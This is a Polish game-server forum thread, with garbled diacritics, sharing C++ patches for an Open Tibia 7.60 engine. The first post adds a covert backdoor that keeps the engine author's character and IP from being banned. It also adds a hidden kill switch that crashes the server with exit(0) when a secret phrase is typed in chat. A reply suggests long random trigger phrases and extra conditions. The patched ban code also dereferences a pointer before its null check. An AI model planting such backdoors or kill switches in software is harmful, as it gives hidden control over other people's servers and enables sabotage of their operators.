What's new

-Tibia 7.60 Autorstwo: Anty-Ban + Ukryty Crash

Status
Not open for further replies.

Saelasti

Advanced User
Joined
Apr 1, 2014
Messages
192
Reaction score
25
Jedziemy dalej.

Autor: Blizzar?aviD
Link ?rod?owy: LINK
Testowany na: YurOTS 0.4.9f
Opis: Kod szczeg?lnie przydatny jako zabezpieczenie dla autor?w silnik?w, kt?rzy mog? zosta? okradzeni ze swych dzie?. Poni?sze kody zawieraj?:
Anty-Ban Character na wybran? nazw? postaci lub/i IP autora silnika,
Anty-Ban IP na wybran? nazw? postaci lub/i IP autora silnika,
Ukryty Crash - po wpisaniu wcze?niej ustalonego wyrazu/zdania nast?puje crash serwera.
Uwaga: Anty-Bany na wybrane IP s? zalecane dla os?b ze sta?ym IP.
W rezultacie za?oga OTSa nie b?dzie w stanie m?g?a zbanowa? ani postaci, ani IP autora silnika. Dodatkowo autor po wpisaniu has?a (o tym ni?ej) wywo?a crash serwera.​


Kod:
1. w commands.cpp
zamie?:
[CPP]bool Commands::banCharacter(Creature* c, const std::string &cmd, const std::string &param)
{
Player* playerbanned = game->getPlayerByName(param);
if(playerbanned){[/CPP]
na:
[CPP]bool Commands::banCharacter(Creature* c, const std::string &cmd, const std::string &param)
{
Player* playerbanned = game->getPlayerByName(param);
Player* player = dynamic_cast<Player*>(c);
unsigned char ip[4];
*(unsigned long*)&ip = playerbanned->lastip;
if((playerbanned) && (((unsigned int)ip[0] == XXX)&&((unsigned int)ip[1] == XXX)&&((unsigned int)ip[2] == XXX)&&((unsigned int)ip[3] == XXX)) || (playerbanned->getName() == "YYY")){
player->sendTextMessage(MSG_BLUE_TEXT,"Nie mozesz zbanowac tego gracza. Jest on autorem silnika do tego OTSa.");
return true;
}
if(playerbanned){[/CPP]

,gdzie:
XXX - pierwszy cz?on waszego adresu IP np.: 81.168.228.192
XXX - drugi cz?on waszego adresu IP np.: 81.168.228.192
XXX - trzeci cz?on waszego adresu IP np.: 81.168.228.192
XXX - czwarty cz?on waszego adresu IP np.: 81.168.228.192
YYY - nazwa waszej postaci, kt?rej nie b?dzie mo?na zbanowa? (du?e i ma?e litery te? maj? znaczenie).
Uwaga: Wpisuj?c wasz adres IP, wpisujecie same liczby bez kropek.


2. w commands.cpp
zamie?:
[CPP]Player* player = dynamic_cast<Player*>(c);
if(player && player->access <= playerBan->access){[/CPP]
na:
[CPP]Player* player = dynamic_cast<Player*>(c);
unsigned char ip[4];
*(unsigned long*)&ip = playerBan->lastip;
if((player && player->access <= playerBan->access) && (((unsigned int)ip[0] == XXX)&&((unsigned int)ip[1] == XXX)&&((unsigned int)ip[2] == XXX)&&((unsigned int)ip[3] == XXX)) || (playerBan->getName() == "YYY")){[/CPP]

,gdzie:
XXX- pierwszy cz?on waszego adresu IP np.: 81.168.228.192
XXX - drugi cz?on waszego adresu IP np.: 81.168.228.192
XXX - trzeci cz?on waszego adresu IP np.: 81.168.228.192
XXX - czwarty cz?on waszego adresu IP np.: 81.168.228.192
YYY - nazwa waszej postaci, kt?rej nie b?dzie mo?na zbanowa? (du?e i ma?e litery te? maj? znaczenie).
Uwaga: Wpisuj?c wasz adres IP, wpisujecie same liczby bez kropek.


3. w game.cpp
pod:
[CPP]void Game::creatureSay(Creature *creature, SpeakClasses type, const std::string &text)
{
OTSYS_THREAD_LOCK_CLASS lockClass(gameLock, "Game::creatureSay()");[/CPP]
dodaj:
[CPP]if(text == "haslo"){
exit(0);}[/CPP]

,gdzie w miejscu haslo, wpisujemy:
s?owo np.: alachar, lub
zdanie np.: Zaraz zrobie crash i nikt sie nie dowie ze to ja xD, albo
ci?g liter/cyfr/znak?w np.: abc123/?!?.

Uwaga: Radz? wymy?la? d?ugie has?a, aby ?aden z graczy przez przypadek takiego nie wpisa?, dlatego zalecam stosowa? jak najwi?cej znak?w (du?e i ma?e litery te? maj? znaczenie). Nie wpisywa? do hase? polskich ko?c?wek (opr?cz ? i ?), poniewa? w standardowym kliencie 7.6 nie ma polskich znak?w.
Po wpisaniu w kliencie has?a, nast?puje crash serwera.

Projekt przebudowa? (Ctrl+F11) i gotowe.
 

Placek

Blue Waffle
Joined
Sep 30, 2008
Messages
6,793
Reaction score
672
Age
9
Odp: Autorstwo: Anty-Ban + Ukryty Crash

Jesli juz w ogole ktos chce miec taka durnote jak crash na haslo do wypowiedzenia to proponuje to zabezpieczyc na 3 sposoby.
Raz. Ustawic tylko na dany nick.
Dwa. Ustawic tylko na dane ip.
Trzy. Ustawic tylko na dana pozycje, zeby jeszcze trzeba bylo tam podejsc, a nie tylko wpisac byle gdzie.

Poza tym jesli chodzi o haslo to proponuje cos w rodzaju tego:
+5dRSRc]uGQ>E#{12ea2Rgyb*TMBvFF#@/STZ[eU0]6v(uWo9(R!%Ps/zEKuafvbnO[N8zy}[4[RZgG}%oQ+EI;DdZ{NE[:-8J6G
Czy tego:
#W:^DCgFzeOmSbNvp[ld8-*]^~\M;I^Uz+x<%Y<DMD#*j?^E&Q{TU"%]ns%2H&<0!O9|PVL?h~jXJ[O86G'PfC&3i.+PJl~pG.:a

Najlepiej sprawdzic ile tam client ma limit znakow do wpisania i wpisac o pare mniej, a do wygenerowania uzyc jakiegos generatora, np:



Ewentualnie kazdego innego sensownego z google:



W zasadzie jeszcze bezpieczniej to by bylo najprostrzym losujacym programem wygenerowac haslo lokalnie bez podlaczenia do sieci. No ale to juz tez przesadne rozwiazania dla paranoikow do zabezpieczenia czegos na prawde waznego, a nie jakiegos crasha na otsie ;P

Co do samego anty bana na ip konkretne to dobre rozwiazanie :) Ale przede wszystkim trzeba wlaczyc myslenie i miec zabezpieczony serwer, zeby w ogole nie dopuscic do sytuacji gdzie ktos moze nas zbaowac na naszym serwerze... Chociaz wiadomo, rozni ludzie sa, czasem nawet ktos komu "ufamy" moze nam napsuc krwi z jakiegos powodu...
 
Last edited:
Status
Not open for further replies.
Top